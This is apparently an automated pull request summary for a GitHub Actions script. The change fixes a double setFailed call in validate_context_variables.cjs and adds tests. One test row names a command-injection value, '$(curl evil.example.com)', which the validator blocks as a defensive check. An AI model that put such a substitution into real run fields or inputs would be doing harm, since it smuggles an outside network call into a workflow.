[jsweep] Clean validate_context_variables.cjs

[github-actions]

Summary

Cleans actions/setup/js/validate_context_variables.cjs by removing a redundant try/catch that caused core.setFailed to be called twice on validation failure.

Context Type

This file runs in github-script context — it uses core.info(), core.error(), core.setFailed() and receives context as a global.

Changes Made

Bug Fix: Double setFailed call removed

The old validateContextVariables wrapped all logic in a try/catch where:

1. On validation failure: setFailed(detailedMessage) called, then throw new Error(detailedMessage)
2. The catch intercepted that throw and called setFailed(ERR_VALIDATION + ": Context variable validation failed: " + detailedMessage) — overwriting the first call

The final error seen by GitHub Actions was ERR_VALIDATION: Context variable validation failed: Context variable validation failed!\n\nFound... — the phrase "Context variable validation failed" appeared twice.

After cleanup

• Removed the try/catch entirely (the only throws were the expected validation-failure path)
• ERR_VALIDATION prefix is now included directly in the single setFailed call
• Extracted failureDetails variable for clarity in error message construction
• Removed unused getErrorMessage import from error_helpers.cjs

Test Improvements

7 new tests added (36 → 43 total):

Test	What it verifies
ERR_VALIDATION prefix in setFailed	Error message includes the code prefix
Single setFailed call	setFailed called exactly once (not twice)
Empty context → 0 validated	Count message shows 0 when no known fields
Correct count reporting	Info message shows exact count of checked fields
Multiple failures in one call	All failures reported in single error
run_id / run_number validation	Top-level context fields are checked
run_id injection rejection	$(curl evil.example.com) blocked

Validation Checks ✅

• Formatting: npm run format:cjs ✓
• Linting: npm run lint:cjs ✓
• Type checking: npm run typecheck ✓ (file already had @ts-check)
• Tests: npm run test:js ✓ — 43/43 tests pass

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• expires on Jun 13, 2026, 9:22 PM UTC-08:00